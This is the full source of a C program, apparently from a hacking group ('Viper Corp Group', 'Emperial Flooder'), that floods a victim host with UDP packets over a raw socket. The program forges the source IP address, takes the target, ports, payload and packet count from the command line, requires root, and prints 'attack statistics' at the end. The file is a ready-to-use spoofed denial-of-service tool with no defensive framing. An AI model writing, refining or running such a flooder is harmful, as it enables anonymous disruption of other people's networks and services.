udp_flooder.c

#include <stdio.h>                          // fprintf e tals.
#include <errno.h>                          // Library p/ checagem de erros.
#include <netdb.h>                          // struct hostent e functions...
#include <stdlib.h>                         // exit (), system () e tals.
#include <string.h>                         // bzero (), memcpy() e tals.
#include <unistd.h>                         // getuid (), close () e tals.
#include <arpa/inet.h>                      // inet_addr e tals.
#include <sys/types.h>                      // Neste header ficam shemales oO
#include <sys/socket.h>                     // sendto () e tals.
#include <netinet/in.h>                     // struct sockaddr_in, htons () e tals.
#include <netinet/ip.h>                     // struct iphdr e tals.
#include <netinet/udp.h>                    // struct udphdr e tals.

#define MAXIMUM_TRANSMISSION_UNIT 1500
#define PRINT printf

struct iphdr ip_rlz;
struct udphdr udp_rlz;
struct sockaddr_in Vitima;
struct hostent *host;

typedef unsigned char Viper_Corp_Rulez;

Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT];

int SoCk, uid=0, indice=0, msg_s=0,
    XSS, x=1, bytes_send;

char *   ip_origeM;
char *   ip_destinO;
int      port_origeM;
int      port_destinO;

void send_UDP ();

int banner ();

int main (int argc_rulez, char *Matrix[]){

   if (argc_rulez < 7){
   banner ();
   fprintf (stdout, "\nUso: %s <IP_Spoof> <Vitima> <Port_origem> <Port_Destino>\
 <msg> <num_msgs>\n\n", *Matrix);
    exit (-1);}

   uid=getuid ();
   if (uid != 0){
   fprintf (stderr, "   \n[Seu UID eh [%d], voce deve ser root para\
 usar Raw Socket]\n\n", uid);
   exit (-1);}

   if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){
   fprintf (stdout, "Erro ao criar socket\n");
   exit (-1);}


   int num_msg_s;
   num_msg_s=atoi (Matrix[6]);
   ip_origeM=Matrix[1];
   ip_destinO=Matrix[2];
   port_origeM=atoi   (Matrix[3]);
   port_destinO=atoi  (Matrix[4]);
   char *msg;msg=Matrix[5];

   bzero (pacote, MAXIMUM_TRANSMISSION_UNIT);

  ip_rlz.version=4;
  ip_rlz.ihl=5;
  ip_rlz.tos=0;
  ip_rlz.id=htons (666);
  ip_rlz.ttl=255;
  ip_rlz.frag_off=0;
  ip_rlz.check=0;
  ip_rlz.protocol=IPPROTO_UDP;
  ip_rlz.saddr=inet_addr (ip_origeM);
  ip_rlz.daddr=inet_addr (ip_destinO);
  ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) +
strlen (msg));

  udp_rlz.dest=htons (port_destinO);
  udp_rlz.source=htons (port_origeM);
  udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg));

  Vitima.sin_family=AF_INET;
  Vitima.sin_port=udp_rlz.dest;
  Vitima.sin_addr.s_addr=ip_rlz.daddr;

  memcpy (&pacote, &ip_rlz, sizeof (struct iphdr));
  indice=indice + sizeof (struct iphdr);
  memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr));
  indice+= sizeof (udp_rlz);
  memcpy (&pacote[indice], msg, strlen (msg));
  indice+= strlen (msg);

   for (x;x <= atoi (Matrix[6]);x+=1){
   send_UDP ();
   msg_s++;}

  close (SoCk);
  PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n");
  PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s));
  PRINT ("----------------------------------------\n");
  return (0);
}

void send_UDP (){

  if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima,
sizeof (struct sockaddr_in)) ) == -1){
  fprintf (stdout, "%s", strerror (errno));
  exit (-1);}

}

int banner (){

     int cOc=0;
     system ("clear");

     char *banner[]={

       "[=] + ===========[####]============ + [=]\n",
       "      *** Emperial Flooder[UDP] ***  \n",
       "      XxX   VIPER CORP GROUP  XxX\n",
       "        <-> Underground Max <->\n",
       "[=] + ==========[####]============ + [=]\n\n"};

     while (cOc != 5){
     printf ("%s", banner[cOc]);
     ++cOc;}
     return 0;}